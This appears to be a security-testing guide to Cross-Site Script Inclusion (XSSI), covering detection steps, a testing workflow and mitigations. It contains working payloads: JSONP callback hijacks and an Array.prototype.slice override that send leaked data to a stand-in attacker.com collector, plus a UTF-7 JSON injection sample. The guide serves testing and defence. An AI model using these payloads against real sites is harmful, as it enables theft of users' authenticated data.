XSSI (Cross-Site Script Inclusion) Testing
What is XSSI?
Cross-Site Script Inclusion (XSSI) is a vulnerability that exploits the fact that <script> tags are exempt from the Same-Origin Policy (SOP). While most resources cannot be loaded cross-origin, scripts can be included from different domains. This allows attackers to potentially read sensitive data embedded in JavaScript files or dynamically generated content.
When to Test for XSSI
Test for XSSI when you encounter:
- JavaScript files that might contain sensitive data
- JSONP endpoints or callback-based APIs
- Dynamic JavaScript generation based on user input or authentication
- CSV or other non-JS files served with JavaScript-like content
- Applications using ambient-authority authentication (cookies, tokens)
Detection Methods
1. Static JavaScript XSSI
What to look for:
- JavaScript files accessible without authentication that contain sensitive data
- Global variables with confidential information (API keys, tokens, user data)
- Hardcoded credentials or secrets in JS files
How to test:
# Search for JavaScript files that might contain sensitive data
curl -I https://target.com/path/to/script.js
# Check if file is accessible cross-origin
curl https://target.com/path/to/script.js | grep -i "secret\|key\|token\|password"
Exploitation pattern:
<script src="https://vulnerable-domain.tld/script.js"></script>
<script>
// If confidential_keys exists in the loaded script
alert(JSON.stringify(confidential_keys[0]))
</script>
2. Dynamic JavaScript with Authentication
What to look for:
- JavaScript endpoints that return different content based on authentication
- JSONP endpoints with callback parameters
- Dynamic content generation in script responses
How to test:
- Request the JavaScript endpoint without authentication
- Request the same endpoint with valid authentication (cookies, tokens)
- Compare the responses - differences may indicate sensitive data
Detection script:
# Compare authenticated vs unauthenticated responses
curl -s https://target.com/api/data.js > unauth.js
curl -s -b "session=your_cookie" https://target.com/api/data.js > auth.js
diff unauth.js auth.js
JSONP callback hijacking:
<script>
// Hijack a callback function
var angular = function () { return 1 }
angular.callbacks = function () { return 1 }
angular.callbacks._7 = function (leaked) {
// Send leaked data to attacker
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(leaked)))
}
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
Alternative callback hijacking:
<script>
leak = function (leaked) {
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(leaked)))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
3. Prototype Tampering (Non-Global Variables)
What to look for:
- JavaScript that uses non-global variables for sensitive data
- Array or object manipulation that could be intercepted
How to test:
// Override Array.prototype.slice to capture data
Array.prototype.slice = function () {
// Send captured data to attacker
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(this)))
return []
}
4. Non-Script XSSI
What to look for:
- CSV, JSON, or other files that could be parsed as JavaScript
- UTF-7 encoded content that could execute scripts
- Files served with incorrect Content-Type headers
How to test:
<!-- Test UTF-7 encoded JSON injection -->
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>
UTF-7 encoded payload example:
;[
{
friend: "luke",
email: "+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
Testing Workflow
Step 1: Reconnaissance
- Identify all JavaScript endpoints in the application
- Map JSONP callback parameters
- Find dynamically generated script content
- Check for authentication-protected JavaScript resources
Step 2: Initial Testing
- Access JavaScript files without authentication
- Search for sensitive keywords (keys, tokens, secrets, passwords)
- Compare authenticated vs unauthenticated responses
- Test JSONP callback parameters with custom functions
Step 3: Advanced Testing
- Attempt prototype tampering attacks
- Test UTF-7 encoding on JSON responses
- Try including non-JS files as scripts
- Check for CORS misconfigurations that enable XSSI
Step 4: Verification
- Confirm data can be read cross-origin
- Verify authentication tokens are included in requests
- Test data exfiltration to attacker-controlled endpoints
Mitigation Recommendations
When you find XSSI vulnerabilities, recommend:
- Remove sensitive data from JavaScript files - Never embed secrets, tokens, or PII in client-side code
- Use proper Content-Type headers - Ensure JSONP responses have
application/javascriptnotapplication/json - Implement CORS properly - Use specific origins instead of
* - Avoid JSONP - Use modern alternatives like CORS with proper authentication
- Use nonces or hashes - For dynamic script loading, validate script integrity
- Content Security Policy - Implement CSP to restrict script sources
Tools and Resources
- DetectDynamicJS - Burp extension for detecting dynamic JavaScript XSSI
- Browser DevTools - Network tab to inspect script requests and responses
- curl - For comparing authenticated vs unauthenticated responses
- Burp Suite - For intercepting and modifying script requests
References
- SCIP XSSI Research
- Sebastian Lekies Leak Vectors
- Jeremiah Grossman's 2006 Google Address Book Attack
- Joe Walker's 2007 JSON Data Leak
- Gareth Heyes' UTF-7 JSON Attack Research